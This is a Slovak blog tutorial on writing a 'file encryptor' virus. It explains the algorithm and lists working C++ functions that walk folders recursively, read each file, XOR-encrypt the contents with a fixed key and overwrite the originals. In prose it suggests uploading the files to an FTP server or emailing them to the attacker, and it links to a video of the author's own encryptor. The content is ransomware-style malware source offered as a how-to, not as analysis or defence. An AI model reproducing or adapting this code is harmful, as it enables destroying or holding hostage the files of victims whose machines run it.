Encryptovanie obsahu súborov pomocou file infectoru .
Vírus file encryptor je druh infectoru, ktorý mení obsah súborov, a to tým, že ho prepíše v encryptovanej forme.
Prepísané súbory uploadne na server (ftp,...) kde si ich útočník stiahne a obsah upraví pomocou decryptoru.
Algoritmus:
- Rekurzívne prechádzaj určenú zložku/y, alebo všetky jej podzložky.
- Ak sa v zložke nájde súbor, otvor ho, a do bufferu načítaj všetke riadky.
- Dátový buffer s obsahom nájdeného súboru algoritmom encryptuj a ulož do bufferu.
- Encryptovaný obsah bufferu ulož do daného súboru.
Algoritmus môže byť doplnený o ďalšie kroky, ktorými sú napríklad uploadnutie na ftp server, odoslanie na email, a podobne.
Pripojené knižnice:
#include "Convert.h" //https://www.netbot.sk/sk/14-blog-headers/84-convert-h #include "WinAPI.h" //https://www.netbot.sk/sk/14-blog-headers/31-winapi #include <iterator> #include <iostream> #include <fstream> #include <vector> #include <dirent.h> //http://softagalleria.net/dirent.php #include <string>
Funkcia rekurzívneho vyhľadávania súborov v priečinku:
void ListFiles(const char * locatefolder) { if(this->directory=::opendir(locatefolder)) { //Read content of directory, while the content exists.// while(entry = ::readdir(this->directory)) { if(::strcmp(entry->d_name,".")!=0 && ::strcmp(entry->d_name,"..")!=0) { //String copy the path of the directory and names of found files.// ::strncpy(this->pathbuffer, locatefolder, sizeof(this->pathbuffer)); ::strncat(this->pathbuffer, entry->d_name, sizeof(this->pathbuffer)); //Compares, if names are of files or of folders.// if(::stat(this->pathbuffer,&this->status) == 0) { if(!this->IsDirectory((const char*)this->pathbuffer)) { //Show only names of files.// ::std::cout << this->pathbuffer << "\n"; //Handling names of files. Calls these 3 methods.// this->GetFileContent(this->pathbuffer); this->EncryptData(); this->SaveContent(); } } } } ::closedir(this->directory); } }
Funkcia na uloženie obsahu súboru do bufferu.
::std::string GetFileContent(const char *filename) { this->inputfilename = filename; this->inputfilename_ = filename; //Open the file.// ::std::ifstream read(filename, std::ios::in | std::ios::binary); if (read) { //Read content of the file.// read.seekg(0, ::std::ios::end); this->contents.resize(read.tellg()); read.seekg(0, ::std::ios::beg); read.read(&this->contents[0], this->contents.size()); read.close(); return this->contents; } }
Funkcia na encryptovanie obsahu dátového bufferu:
::std::string EncryptData(void) { //Specify key for encrypting.// char key = 'K'; this->encryptcontents = this->contents; //Encrypting with XOR.// for (int i = 0; i < this->encryptcontents.size(); i++) { this->encryptcontents[i] = this->encryptcontents[i] ^ key; } return this->encryptcontents; }
Uloženie encryptovaného obsahu dátového bufferu späť do súboru:
void SaveContent(void) { //Convert from string to char*// this->encrypteddata = new char[this->encryptcontents.size() + 1]; copy(this->encryptcontents.begin(),this->encryptcontents.end(),this->encrypteddata); this->encrypteddata[this->encryptcontents.size()] = '\0'; //Write encrypted data to the file// this->handlefile = ::CreateFileA(this->inputfilename_, GENERIC_WRITE, 0, NULL,
TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); ::WriteFile(this->handlefile, this->encrypteddata, encryptcontents.size(), 0, NULL); }
Video encryptoru, ktorý som si navrhol, nájdete tu: